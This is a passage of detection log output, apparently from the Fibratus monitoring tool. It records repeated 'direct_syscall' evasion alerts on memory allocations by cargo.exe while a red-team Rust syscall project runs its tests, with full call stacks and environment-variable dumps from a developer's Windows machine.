Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:7feeb2fe-95ef-4620-b095-b09aedd8af7c WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0xfffff802c4542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c4474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c4548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c4c2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff802c4a63d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff802c4a629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff802c48b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff802c48a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c4c24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff802c449315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff802c44400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff802c48addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff68fcac7c5 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fca5c4b C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fca4d62 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fca5669 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fca64c9 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fca4d62 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fcf2bec C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fccfcfc C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fcc5237 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fcc0b08 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fc8941e C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68ff35129 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68ff31fae C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff69033ed4a C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68ff34757 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68ff32e06 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68ff2fbdd C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff69005e5d0 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff69005d141 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fa6deb6 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb11167 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb0ef5a C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb0cfd6 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb053c4 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fa3ec36 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb151ea C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff6902f811c C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ffaf5b1e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffaf700c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-06T19:12:59+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 903091 + Pid: 15532 + Tid: 3468 + Type: VirtualAlloc + CPU: 2 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-06 19:12:58.0019737 +0100 CET + Params: alloc_typeâžœ COMMIT, base_addressâžœ d0f50ce000, exeâžœ C:\Users\nedo\.cargo\bin\cargo.exe, nameâžœ cargo.exe, page_typeâžœ PRIVATE, pidâžœ 15532, protectionâžœ READWRITE, protection_maskâžœ RW, region_sizeâžœ 24576 + Metadata: evasions: [direct_syscall] + + Pid: 15532 + Ppid: 9772 + Name: cargo.exe + Parent name: powershell.exe + Cmdline: "C:\Users\nedo\.cargo\bin\cargo.exe" test + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Users\nedo\.cargo\bin\cargo.exe + Cwd: C:\Fibratus\redteam\RustVEHSyscalls\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\.cargo\bin\cargo.exe" test] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:7feeb2fe-95ef-4620-b095-b09aedd8af7c WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0xfffff802c4542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c4474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c4548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c4c2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff802c4a63d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff802c4a629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff802c48b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff802c48a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c4c24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff802c449315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff802c44400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff802c48addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff68fca592c C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fcac302 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fcabc05 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fca6a45 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fca64c9 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fcacc1a C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fca5c4b C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fca4d62 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fca5669 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fca64c9 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fca4d62 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fcf2bec C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fccfcfc C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fcc5237 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fcc0b08 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fc8941e C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68ff35129 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68ff31fae C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff69033ed4a C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68ff34757 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68ff32e06 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68ff2fbdd C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff69005e5d0 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff69005d141 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fa6deb6 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb11167 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb0ef5a C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb0cfd6 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb053c4 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fa3ec36 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb151ea C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff6902f811c C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ffaf5b1e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffaf700c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-06T19:12:59+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 903093 + Pid: 15532 + Tid: 3468 + Type: VirtualAlloc + CPU: 2 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-06 19:12:58.0020006 +0100 CET + Params: alloc_typeâžœ COMMIT, base_addressâžœ d0f50cd000, exeâžœ C:\Users\nedo\.cargo\bin\cargo.exe, nameâžœ cargo.exe, page_typeâžœ PRIVATE, pidâžœ 15532, protectionâžœ READWRITE, protection_maskâžœ RW, region_sizeâžœ 24576 + Metadata: evasions: [direct_syscall] + + Pid: 15532 + Ppid: 9772 + Name: cargo.exe + Parent name: powershell.exe + Cmdline: "C:\Users\nedo\.cargo\bin\cargo.exe" test + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Users\nedo\.cargo\bin\cargo.exe + Cwd: C:\Fibratus\redteam\RustVEHSyscalls\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\.cargo\bin\cargo.exe" test] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program 